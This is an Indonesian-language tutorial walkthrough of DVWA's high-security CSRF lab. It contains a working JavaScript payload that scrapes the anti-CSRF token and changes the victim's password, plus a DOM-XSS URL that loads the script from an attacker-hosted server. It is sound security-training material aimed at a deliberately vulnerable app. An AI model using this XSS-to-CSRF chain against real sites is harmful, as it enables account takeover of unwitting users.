> For the complete documentation index, see [llms.txt](https://notes.anggipradana.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.anggipradana.com/tutorial/dvwa/csrf/high.md).

# High

Di bawah ini adalah *source-code* dari CSRF level high di DVWA.

```php
vulnerabilities/csrf/source/high.php
<?php
​
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
​
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
​
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Jika kita melakukan *inspect element* pada level high ini, maka akan terlihat bahwa terdapat parameter `user_token` yang sengaja disembunyikan oleh developer.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-jAsoY36TyQqF2pOsV%2F-M-jh40uAPEXe9dS8Zhd%2Fimage.png?alt=media\&token=6a5f1459-738f-4f3e-8a95-36ab5fc5a345)

`user_token` ini akan terkirim ketika kita melakukan *request*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-jAsoY36TyQqF2pOsV%2F-M-jjeiedURV7rCXXjnH%2Fimage.png?alt=media\&token=1702ba6d-c6ee-4cb2-bbf3-cedb069e0a49)

Nilai dari `user_token` ini akan berubah-ubah setiap kali kita melakukan *request* baru (coba saja *refresh*). Nilai dari parameter ini nantinya akan divalidasi kecocokannya dengan yang ada di server. Ini lah yang dinamakan **Anti-CSRF token** yang berfungsi untuk memastikan bahwa *request* dilakuakan secara sah.

Setelah beberapa hari memikirkan jalan keluar untuk mengatasi masalah ini, akhirnya saya menemukan titik terang ketika membaca salah satu [artikel](https://hd7exploit.wordpress.com/2017/05/27/dvwa-csrf-high-level/). Untuk menyelesaikan masalah ini kita membutuhkan bantuan dari *vulnerability* lainnya, yaitu XSS.

Jadi skenarionya, kita akan menjalankan JavaScript melalui XSS untuk mendapatkan nilai dari token tersebut, lalu melakukan CSRF untuk merubah password. WOW! Menjadi pengetahuan baru ini bagi saya. 😅

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Oke dari informasi yang sudah kita dapatkan, kita akan siap melakukan serangan.

Pertama-tama kita akan membuat *script* JS seperti berikut:

```javascript
var theUrl = 'http://172.17.0.2/vulnerabilities/csrf/';
var pass = 'pwned';
if (window.XMLHttpRequest){
    xmlhttp=new XMLHttpRequest();
}else{
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        var token = match[1];
        var new_url = 'http://172.17.0.2/vulnerabilities/csrf/?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
        if(!hacked){
            alert('Got token:' + match[1]);
            hacked = true;
            xmlhttp.open("GET", new_url, false );
            xmlhttp.send();  
        }
        count++;
    }
};
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();  
```

Pastikan URL-nya sudah sesuai dengan kondisi anda.

Selanjutnya kita upload file tersebut ke server yang bisa diakses oleh DVWA (contoh: **<http://0.0.0.0/xsrf-to-csrf.js>**). Setelah itu lakukan serangan XSS (sebagai contoh saya menggunakan XSS DOM) dan jalankan *script* JS yang telah kita buat sebelumnya.

Anda bisa mempelajari serangan XSS DOM [di sini](https://anggipradana.gitbook.io/anggi-s-notes/dvwa/cross-site-scripting-xss/dom).

```
http://172.17.0.2/vulnerabilities/xss_d/?default=Spanish#<script src="http://0.0.0.0/xsrf-to-csrf.js"></script>
```

Dan ketika victim menjalankan XSS tersebut, maka *script* akan mengambil token dan akan melakukan CSRF.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-jAsoY36TyQqF2pOsV%2F-M-jrk6Bs14kiFZjRZ2Q%2Fimage.png?alt=media\&token=83d28663-faa3-4c47-a6f8-e21ecfc95665)

Sekarang kita bisa melakukan login dengan menggunakan password baru, yaitu *"pwned"*. Selamat!

Tetap semangat! Happy Hacking! 🍻


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.anggipradana.com/tutorial/dvwa/csrf/high.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
